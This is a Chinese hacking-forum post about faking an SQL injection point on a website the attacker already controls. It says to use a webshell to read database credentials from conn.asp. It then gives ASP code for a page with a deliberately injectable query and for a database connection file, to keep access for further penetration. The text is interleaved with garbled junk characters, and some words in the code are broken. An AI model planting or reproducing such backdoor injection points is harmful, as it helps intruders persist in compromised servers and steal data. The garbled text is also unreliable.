自己构造注入点方便入侵
\1 K- c9 l/ y5 g; \0 k9 Y' \# t1 E8 W! i2 {/ f- |. b
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
1 F# o, t* w4 r7 H) [& I! Z# h# b4 q9 X( d, N5 A! E* E
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!) c% G* O; C+ f/ i+ { H( k
; r* I! n5 U& e7 S: l首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
4 m$ p& @& g1 Q6 h! V
/ S) d5 T; e$ a密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
2 Q/ r; I2 x* z: D! P- b1 q' m; |2 U$ W) K
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:: T& _; W* G+ \" e% n3 O
1 x; y+ Y8 w5 i6 m- g5 v! Y
程序代码
% f5 ` ?5 T! G+ K3 S7 {6 Q0 R: A) R9 ^8 ^<!--#include file="xx.asp"-->& _% ~5 k- ~* ^
<%/ D5 Z4 L I, A, r
set rs=server.createobject("ADODB.recordset")+ \: {# @5 q" V) {
id = request("id")
: h- L; N9 P! C {# P# ?' ]strSQL = "select * from admin where id=" & id* \& G9 S# i" K9 ?, P
rs.open strSQL,conn,1,3
9 @3 p5 A2 C) a$ T4 r# vrs.close
) w5 F4 o0 Y. l* l( @%>& l# l" [" l4 [5 X
% W' {, K! S. l1 V& y U7 Y# h6 U
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在 k' E! D' s0 W8 P
4 L. x( |" e) b; e1 r. u你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
! G5 l7 c0 l/ R9 h+ ]4 S8 R+ J, A% W
* Y' g2 o" Q. I5 \; J. ^% S" r* T然后就要构造一个连接数据库的文件了,代码如下:
: A" s" w7 ]. ^程序代码3 P& R0 @$ v4 C0 k! I6 T
<% ) S# z0 E; l: G V
strSQLServerName = "000.000.000.000" '服务器名称或地址& e0 ?" K8 l$ ~7 {( A& @" c. m
strSQLDBUserName = "sqlname" '数据库帐号
! K0 N2 e) e S- w$ W- e- I( [strSQLDBPassword = "sqlpass" '数据库密码
: `: ^! G5 F Z) N$ v6 o4 QstrSQLDBName = "sqldataname" '数据库名称
% a! s4 Q& X P# rSet conn = Server.CreateObject("ADODB.Connection")
2 G% f2 P# s9 \: x1 T! mstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"- K: S) i9 m" H4 I* b3 e
conn.open strCon n+ m& ]7 N: d4 i! ]
%>
: _& ?) S! M4 w6 \6 t2 z% J* U* C/ n8 \* o$ R% T: u1 I* u! ?% J
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,% W9 L- K* F; u4 L; i8 H( S% d
$ l: N, n3 [9 ?3 H
就这样,正常情况下,就OK了,伪造成功……% M' S2 l* O. g/ n
! }$ R V( \; V 如果有什么问题可以提出来大家一起探讨解决。 |